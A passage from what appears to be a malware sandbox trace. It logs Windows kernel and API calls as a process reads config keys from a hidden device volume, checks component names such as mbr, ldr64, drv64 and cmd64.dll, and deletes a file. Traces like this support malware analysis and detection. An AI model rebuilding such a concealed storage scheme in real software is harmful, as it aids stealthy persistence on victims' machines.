FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.966] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.966] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.966] KeLeaveCriticalRegion () [0124.966] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.966] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.966] KeEnterCriticalRegion () [0124.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.966] ExFreePoolWithTag (P=0xfffffa8003bef130, Tag=0x0) [0124.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.966] KeLeaveCriticalRegion () [0124.966] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.966] ReleaseMutex (hMutex=0xf0) returned 1 [0124.966] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.966] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.966] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.966] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.966] KeEnterCriticalRegion () [0124.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.966] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.966] IdePortDispatch () returned 0x103 [0124.966] KeWaitForMutexObject () returned 0x0 [0124.967] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.967] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.967] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.967] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.967] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.967] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.967] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.967] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.967] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.967] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.967] KeLeaveCriticalRegion () [0124.967] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.967] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.967] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.967] KeEnterCriticalRegion () [0124.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.967] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.967] IdePortDispatch () returned 0x103 [0124.967] KeWaitForMutexObject () returned 0x0 [0124.967] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.967] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.967] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.967] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.967] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.967] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.967] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.968] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.968] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.968] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.968] KeLeaveCriticalRegion () [0124.968] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.968] ReleaseMutex (hMutex=0x100) returned 1 [0124.968] Sleep (dwMilliseconds=0x2bf20) [0124.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6daf3ef0, dwHighDateTime=0x1d24fa4)) [0124.975] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.975] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.975] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.975] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.975] KeEnterCriticalRegion () [0124.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.975] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.975] IdePortDispatch () returned 0x103 [0124.975] KeWaitForMutexObject () returned 0x0 [0124.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.975] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.975] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.975] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.975] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.975] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef080 [0124.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.975] KeLeaveCriticalRegion () [0124.975] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.975] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.975] KeEnterCriticalRegion () [0124.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.975] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.975] KeLeaveCriticalRegion () [0124.975] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.975] KeEnterCriticalRegion () [0124.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.976] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.976] IdePortDispatch () returned 0x103 [0124.976] KeWaitForMutexObject () returned 0x0 [0124.976] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.976] KeLeaveCriticalRegion () [0124.976] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.976] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.976] KeEnterCriticalRegion () [0124.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.976] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a01000 [0124.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.976] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.976] IdePortDispatch () returned 0x103 [0124.976] KeWaitForMutexObject () returned 0x0 [0124.976] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.976] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.976] IdePortDispatch () returned 0x103 [0124.976] KeWaitForMutexObject () returned 0x0 [0124.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.977] KeLeaveCriticalRegion () [0124.977] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.977] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.977] KeEnterCriticalRegion () [0124.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.977] KeLeaveCriticalRegion () [0124.977] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.977] KeEnterCriticalRegion () [0124.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.977] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.977] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.977] KeLeaveCriticalRegion () [0124.977] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.977] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.977] KeEnterCriticalRegion () [0124.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.977] ExFreePoolWithTag (P=0xfffffa8003bef080, Tag=0x0) [0124.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.977] KeLeaveCriticalRegion () [0124.977] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.978] ReleaseMutex (hMutex=0xf0) returned 1 [0124.978] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.978] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.978] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.978] KeEnterCriticalRegion () [0124.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.978] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.978] IdePortDispatch () returned 0x103 [0124.978] KeWaitForMutexObject () returned 0x0 [0124.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.978] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.978] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.978] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.978] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.978] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4640 [0124.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.978] KeLeaveCriticalRegion () [0124.978] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.978] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.978] KeEnterCriticalRegion () [0124.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.978] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.978] KeLeaveCriticalRegion () [0124.978] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.978] KeEnterCriticalRegion () [0124.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.978] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.978] IdePortDispatch () returned 0x103 [0124.979] KeWaitForMutexObject () returned 0x0 [0124.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.979] KeLeaveCriticalRegion () [0124.979] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.979] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.979] KeEnterCriticalRegion () [0124.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.979] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a02000 [0124.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.979] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.979] IdePortDispatch () returned 0x103 [0124.979] KeWaitForMutexObject () returned 0x0 [0124.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.979] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.979] IdePortDispatch () returned 0x103 [0124.980] KeWaitForMutexObject () returned 0x0 [0124.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.980] KeLeaveCriticalRegion () [0124.980] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.980] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.980] KeEnterCriticalRegion () [0124.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.980] KeLeaveCriticalRegion () [0124.980] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.980] KeEnterCriticalRegion () [0124.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.980] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.980] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4270, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.980] KeLeaveCriticalRegion () [0124.980] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.980] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.980] KeEnterCriticalRegion () [0124.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.980] ExFreePoolWithTag (P=0xfffffa8003bf4640, Tag=0x0) [0124.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.980] KeLeaveCriticalRegion () [0124.980] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.980] ReleaseMutex (hMutex=0xf0) returned 1 [0124.980] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.980] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.981] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.981] KeEnterCriticalRegion () [0124.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.981] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.981] IdePortDispatch () returned 0x103 [0124.981] KeWaitForMutexObject () returned 0x0 [0124.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.981] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.981] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.981] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.981] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.981] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4950 [0124.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.981] KeLeaveCriticalRegion () [0124.981] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.981] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.981] KeEnterCriticalRegion () [0124.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.981] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.981] KeLeaveCriticalRegion () [0124.981] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.981] KeEnterCriticalRegion () [0124.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.981] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.981] IdePortDispatch () returned 0x103 [0124.982] KeWaitForMutexObject () returned 0x0 [0124.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.982] 